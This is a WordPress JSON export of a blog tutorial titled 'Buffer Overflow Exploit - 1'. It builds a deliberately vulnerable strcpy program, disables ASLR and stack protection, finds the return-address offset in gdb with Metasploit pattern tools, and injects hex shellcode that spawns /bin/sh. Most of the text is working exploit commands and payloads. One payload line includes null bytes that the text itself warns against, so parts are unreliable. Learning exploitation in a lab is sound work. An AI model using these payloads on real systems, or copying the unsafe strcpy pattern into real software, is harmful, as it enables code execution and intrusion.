{"id":1565,"date":"2020-09-16T14:58:18","date_gmt":"2020-09-16T12:58:18","guid":{"rendered":"https:\/\/blog.mhasin.eu\/?p=1565"},"modified":"2020-09-27T15:49:42","modified_gmt":"2020-09-27T13:49:42","slug":"buffer-overflow-exploit-1","status":"publish","type":"post","link":"https:\/\/blog.mhasin.eu\/?p=1565","title":{"rendered":"Buffer Overflow Exploit &#8211; 1"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Install:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>apt install gdb gem\ngem install rex-text<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Determina if ASLR is enabled. If it is \/proc\/sys\/kernel\/randomize_va_space > 0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat \/proc\/sys\/kernel\/randomize_va_space<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"541\" height=\"38\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image.png\" alt=\"\" class=\"wp-image-1568\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image.png 541w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-300x21.png 300w\" sizes=\"auto, (max-width: 541px) 100vw, 541px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We can disable it by setting this value to 0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo 0 > \/proc\/sys\/kernel\/randomize_va_space<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Create program:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>vim bofl.cpp<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>#include <cstring>\n\nint main(int argc, char **argv)\n{\n         char buf[500];\n         strcpy(buf, argv[1]);\n         return 0;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Compile witch stack smashing protection disabled<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>g++ bofl.cpp -fno-stack-protector -mpreferred-stack-boundary=4 -o bofl<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now lets see if we can cause the program to crash<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/bofl test<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can send large amounts of data through the command line using python<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/bofl `python -c 'print \"A\" * 400'`<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This point we are essentially fuzz testing our program. However, sice our buffer has a 500 byte capacity, the program is behaving as expected<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/bofl `python -c 'print \"A\" * 500'`\n.\/bofl `python -c 'print \"A\" * 600'`<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"497\" height=\"52\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-1.png\" alt=\"\" class=\"wp-image-1569\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-1.png 497w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-1-300x31.png 300w\" sizes=\"auto, (max-width: 497px) 100vw, 497px\" \/><figcaption>Buffer overflow, signified by a segmentation fault<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Lets take a look under the hood and see whats happening<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gdb -q bofl\nrun `python -c 'print \"A\" * 600'`<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"547\" height=\"129\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-4.png\" alt=\"\" class=\"wp-image-1577\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-4.png 547w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-4-300x71.png 300w\" sizes=\"auto, (max-width: 547px) 100vw, 547px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">When a segfault occurs, gdb wil display the intruction pointer eip 0x0000555555555173<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We can see that eip is pointing to a bogus memory address 0x0000555555555173<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>info registers<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"462\" height=\"275\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-5.png\" alt=\"\" class=\"wp-image-1578\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-5.png 462w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-5-300x179.png 300w\" sizes=\"auto, (max-width: 462px) 100vw, 462px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">0x41 is the ascii value for the latter A. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Since we can overwrite EIP with arbitrary data, we are able to after the flow of execution. Theoreticaly we can divert execution to any address we went, as long as it exists in memory. This is archived by overwriting the current functions return address with an address of our choice. Lets digress and first determine how many bites it takes to successfuly overwrite the return address.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The metasploit framework is jam packed with useful tools.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cd \/opt\/metasploit-framework\/embedded\/framework\/tools\/exploit\/<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">pattern_create generates a string that we can use as input<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/pattern_create.rb -l 600<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"851\" height=\"117\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-6.png\" alt=\"\" class=\"wp-image-1580\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-6.png 851w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-6-300x41.png 300w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-6-768x106.png 768w\" sizes=\"auto, (max-width: 851px) 100vw, 851px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">RUN:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"616\" height=\"185\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-7.png\" alt=\"\" class=\"wp-image-1582\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-7.png 616w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-7-300x90.png 300w\" sizes=\"auto, (max-width: 616px) 100vw, 616px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"211\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-8.png\" alt=\"\" class=\"wp-image-1583\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-8.png 640w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-8-300x99.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We siply send the value of EIP to pattern_offset<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/pattern_offset.rb -q 72413971<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"828\" height=\"38\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-9.png\" alt=\"\" class=\"wp-image-1584\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-9.png 828w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-9-300x14.png 300w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-9-768x35.png 768w\" sizes=\"auto, (max-width: 828px) 100vw, 828px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">So it takes 508 bytes to overwrite just up to the return address<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo \"offset: 508\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">All we need now is a return address. But where should we have the program divert execution to?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Howbount we make this bad boy execute our own subroutine that isnt hard coded into the program.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">How is this even possible? We can input executable code. First lets find the address where our input resides at.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>disassemble main<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"542\" height=\"352\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-10.png\" alt=\"\" class=\"wp-image-1585\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-10.png 542w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-10-300x195.png 300w\" sizes=\"auto, (max-width: 542px) 100vw, 542px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">If we disassemble main we can see the call to strcpy. Lets set a breakpoint just after<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>break *0x004011c7<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"240\" height=\"57\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-12.png\" alt=\"\" class=\"wp-image-1587\"\/><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">run:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>run `python -c 'print \"A\" * 508 + \"BBBB\"'`<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"619\" height=\"119\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-13.png\" alt=\"\" class=\"wp-image-1588\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-13.png 619w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-13-300x58.png 300w\" sizes=\"auto, (max-width: 619px) 100vw, 619px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>x\/16wx $esp<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"622\" height=\"139\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-14.png\" alt=\"\" class=\"wp-image-1589\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-14.png 622w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-14-300x67.png 300w\" sizes=\"auto, (max-width: 622px) 100vw, 622px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After strcpy we can see that the stack contains our input of 0x41<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If we look closer we can see that EAX holds our input address<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>info registers<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"461\" height=\"274\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-15.png\" alt=\"\" class=\"wp-image-1590\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-15.png 461w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-15-300x178.png 300w\" sizes=\"auto, (max-width: 461px) 100vw, 461px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Well use this as our return address<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cont<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"478\" height=\"108\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-16.png\" alt=\"\" class=\"wp-image-1591\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-16.png 478w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-16-300x68.png 300w\" sizes=\"auto, (max-width: 478px) 100vw, 478px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"430\" height=\"301\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-17.png\" alt=\"\" class=\"wp-image-1594\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-17.png 430w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-17-300x210.png 300w\" sizes=\"auto, (max-width: 430px) 100vw, 430px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Continuing we see that the offset is indeed 508 bytes ebp contains 0x41(A) and eip contains 0x42(B).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To execute our code we cant just input RAW C code. The code has to be in its lowest form. This is called shellcode which consists of hex opcodes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Well execute the cmd \/bin\/sh which will give us a shell prompt (no wonder its called shellcode)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cd \/opt\/metasploit-framework\/embedded\/framework<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/msfvenom -a x86 --platform Linux -p linux\/x86\/exec CMD=\/bin\/sh -f C<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"149\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-18-1024x149.png\" alt=\"\" class=\"wp-image-1599\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-18-1024x149.png 1024w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-18-300x44.png 300w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-18-768x112.png 768w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-18.png 1033w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Notice the null bytes 0x00. This will cause our input string to terminate early. Were going to have to encode this shellcode. Typical, we want to avoid using any whitespace character (see asciitable.com) that may terminate our string<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>run `python -c 'print \"\\41\" * 508  + \"\\x31\\xc9\\x31\\xdb\\xf7\\xe3\\xb0\\xa4\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\" + \"\\x66\\x68\\x2d\\x63\\x89\\xe7\\x68\\x2f\\x73\\x68\\x00\\x68\\x2f\\x62\\x69\" + \"\\x6e\\x89\\xe3\\x52\\xe8\\x08\\x00\\x00\\x00\\x2f\\x62\\x69\\x6e\\x2f\\x73\" + \"\\x68\\x00\\x57\\x53\\x89\\xe1\\xcd\\x80\" + \"\\x90\" * 100 + \"\\x41\\x41\\x41\\x41\"'`<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"295\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-19.png\" alt=\"\" class=\"wp-image-1604\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-19.png 640w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/image-19-300x138.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">UBUNTU \u2013 14..4.03 X64<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Install package:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>apt install libc6-dev-i386 dpkg-dev gdb<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo 0 | sudo tee \/proc\/sys\/kernel\/randomize_va_space<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Compille program:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include <stdio.h>\n#include <string.h>\n\nint main(int argc, char *argv[]){\n\tchar buf[256];\n\tstrcpy(buf, argv[1]);\n\tprintf(\"%s\\n\", buf);\n\treturn 0;\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>gcc -o example -fno-stack-protector -m32 -z execstack example.c \n-fno-stack-protector<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Run program gdb<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gdb .\/example<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"643\" height=\"274\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-15.png\" alt=\"\" class=\"wp-image-1608\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-15.png 643w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-15-300x128.png 300w\" sizes=\"auto, (max-width: 643px) 100vw, 643px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">disassemble main<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"456\" height=\"340\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-16.png\" alt=\"\" class=\"wp-image-1609\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-16.png 456w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-16-300x224.png 300w\" sizes=\"auto, (max-width: 456px) 100vw, 456px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">break *0x08048475<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"228\" height=\"63\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-17.png\" alt=\"\" class=\"wp-image-1610\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">run $(python -c \u201eprint(\u201aA\u2019*256)\u201c)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"530\" height=\"85\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-18.png\" alt=\"\" class=\"wp-image-1611\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-18.png 530w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-18-300x48.png 300w\" sizes=\"auto, (max-width: 530px) 100vw, 530px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">x\/200xb $esp<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"634\" height=\"431\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-19.png\" alt=\"\" class=\"wp-image-1612\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-19.png 634w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-19-300x204.png 300w\" sizes=\"auto, (max-width: 634px) 100vw, 634px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">In new GDB session<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$(python -c \"print('\\x90'*222+'\\x31\\xc0\\xb0\\x46\\x31\\xdb\\x31\\xc9\\xcd\\x80\\xeb\\x16\\x5b\\x31\\xc0\\x88\\x43\\x07\\x89\\x5b\\x08\\x89\\x43\\x0c\\xb0\\x0b\\x8d\\x4b\\x08\\x8d\\x53\\x0c\\xcd\\x80\\xe8\\xe5\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68'+'\\x30\\xd4\\xff\\xff')\")<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-style-zoooom\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"83\" src=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-20-1024x83.png\" alt=\"\" class=\"wp-image-1613\" srcset=\"https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-20-1024x83.png 1024w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-20-300x24.png 300w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-20-768x62.png 768w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-20-1536x124.png 1536w, https:\/\/blog.mhasin.eu\/wp-content\/uploads\/2020\/09\/obrazok-20.png 1894w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<div class=\"pdf24Plugin-cp\"> \t<form name=\"pdf24Form0\" method=\"post\" action=\"https:\/\/doc2pdf.pdf24.org\/wordpress.php\" target=\"pdf24PopWin\" onsubmit=\"var pdf24Win = window.open('about:blank', 'pdf24PopWin', 'resizable=yes,scrollbars=yes,width=600,height=250,left='+(screen.width\/2-300)+',top='+(screen.height\/3-125)+''); pdf24Win.focus(); if(typeof pdf24OnCreatePDF === 'function'){void(pdf24OnCreatePDF(this,pdf24Win));}\"> \t\t<input type=\"hidden\" name=\"blogCharset\" value=\"Cw1x07UAAA==\" \/><input type=\"hidden\" name=\"blogPosts\" value=\"MwQA\" \/><input type=\"hidden\" name=\"blogUrl\" value=\"yygpKSi20tdPyslP18vNSCzOzNNLLQUA\" \/><input type=\"hidden\" name=\"blogName\" value=\"c\/LxdwcA\" \/><input type=\"hidden\" name=\"blogValueEncoding\" value=\"gzdeflate base64\" \/><input type=\"hidden\" name=\"postId_0\" value=\"MzQ1MwUA\" \/><input type=\"hidden\" name=\"postTitle_0\" value=\"cypNS0stUvAvSy1Ky8kvV3CtKMjJzyxRUFO2MDI0tFYwBAA=\" \/><input type=\"hidden\" name=\"postLink_0\" value=\"yygpKSi20tdPyslP18vNSCzOzNNLLdW3L7A1NDUzBQA=\" \/><input type=\"hidden\" name=\"postAuthor_0\" value=\"y00syfcwNAIA\" \/><input type=\"hidden\" name=\"postDateTime_0\" value=\"MzIwMtA1sNQ1NFMwNLEysLQytAAA\" \/><input type=\"hidden\" name=\"postContent_0\" value=\"3Vtbc9tGsn6OfsUUsxtLjkjifolsb7Wdvbgqm9rKpbIPSmWHwICACGAgABQp757\/frpnQBGyHRMUZJ1TyxJLBDDobkz39OXrwcmLikU5b5qXk001XeQyWk0rXvNlzat08upt2bQ8z795Ma9eneDnRVWLD8ZHMhaTVy\/o3ytetSzTN7FlvGBLUZzg9+5cLbbTVmzbF3M1HOnWoqP8KTm+Fa2oi6zkLEsY\/PjdDyxrmCj5IhfxjL1NWNbSGaQmo3lz28xXoi5FPq95Gcsieyd+u+G\/NRWPBPtq2V4wY\/ADRbwdQvbD50my5fojtLOCLwVr8N5pzusl8cmKJcslj7Ny+XKS83e3ExYLJKeOeXNbRhO2yeI2fTlxHXPCUpEt0\/blxA4mrKmjl5O0bavmm\/kcOSxnRcqbrJyJ9Rx5RrJsRdnO1xUxaOaWYRlzI5wrKWZVuZwwniOpSU9OdW1qup4m34h2FAeGMm\/O2QMpTG3D2FqmIoQ\/NxM1dSgoX7fynJ0WfDtVc\/MN8am2Z8w0jBvkp44mbI4q0ZoYYGW\/oLp4yeKsIcMim1rcMnz+FjXB2hQN7Ibna8FaeYQBiSjF4ezVw6zok\/K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flAcAHqv3\/xHKPFmRpgXJx93nlz+xDhiH2Jd\/MWHJo381EWhXZR7gNRwj0ZXdQPcnjuPZjQfQBMuEUBjO2iazZ+TrV6dg+5cWxzvF4PFTem9Sh67cob2xmnV13gWMYgZ4fc+pHMPh4YeVuyUmzYX799zRrRNNkRbzz3fcJEe4NnVCE\/e47u4etnHShgaBDA8fbgwA4s2IECAs+ZeN1d7O8JsBp3sAo3fF2J0zUq5+m3Oh9pugQmBEjH2V2PdfVO1+\/o43nhXm6TZP\/9OBRAKMAzJTreFju74c\/OJmcPTuRY1mAiepuL6TuJn2IMkhmMDw+WocHFwD60LOzHWBb32T0cyuzRU+tjHJjZo0ZwpjcOzew\/q2t7mIZq6ehgJEFNJwidzw2QqlX\/vw==\" \/> \t\t<a href=\"https:\/\/www.pdf24.org\" target=\"_blank\" title=\"www.pdf24.org\" rel=\"nofollow\"><img src=\"https:\/\/blog.mhasin.eu\/wp-content\/plugins\/pdf24-post-to-pdf\/img\/pdf_32x32.png\" alt=\"\" border=\"0\" height=\"32\" \/><\/a> \t\t<span class=\"pdf24Plugin-cp-space\">\u00a0\u00a0<\/span> \t\t<span class=\"pdf24Plugin-cp-text\">Send article as PDF<\/span> \t\t<span class=\"pdf24Plugin-cp-space\">\u00a0\u00a0<\/span> \t\t<input class=\"pdf24Plugin-cp-input\" style=\"margin: 0px;\" type=\"text\" name=\"sendEmailTo\" placeholder=\"Enter email address\" \/> \t\t<input class=\"pdf24Plugin-cp-submit\" style=\"margin: 0px;\" type=\"submit\" value=\"Send\" \/> \t<\/form> <\/div>","protected":false},"excerpt":{"rendered":"Install: Determina if ASLR is enabled. If it is \/proc\/sys\/kernel\/randomize_va_space > 0 We can disable it by setting this value to 0 Create program: Compile witch stack smashing protection disabled Now lets see if we can cause the program to crash We can send large amounts of data through the command line using python This point we are essentially fuzz testing our program. However, sice our buffer has a 500 byte capacity, the program is&hellip;\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"arc_restricted_post":false,"footnotes":""},"categories":[18],"tags":[],"class_list":["post-1565","post","type-post","status-publish","format-standard","hentry","category-biaks"],"_links":{"self":[{"href":"https:\/\/blog.mhasin.eu\/index.php?rest_route=\/wp\/v2\/posts\/1565","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.mhasin.eu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.mhasin.eu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.mhasin.eu\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.mhasin.eu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1565"}],"version-history":[{"count":14,"href":"https:\/\/blog.mhasin.eu\/index.php?rest_route=\/wp\/v2\/posts\/1565\/revisions"}],"predecessor-version":[{"id":1614,"href":"https:\/\/blog.mhasin.eu\/index.php?rest_route=\/wp\/v2\/posts\/1565\/revisions\/1614"}],"wp:attachment":[{"href":"https:\/\/blog.mhasin.eu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1565"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.mhasin.eu\/index.php?rest_route=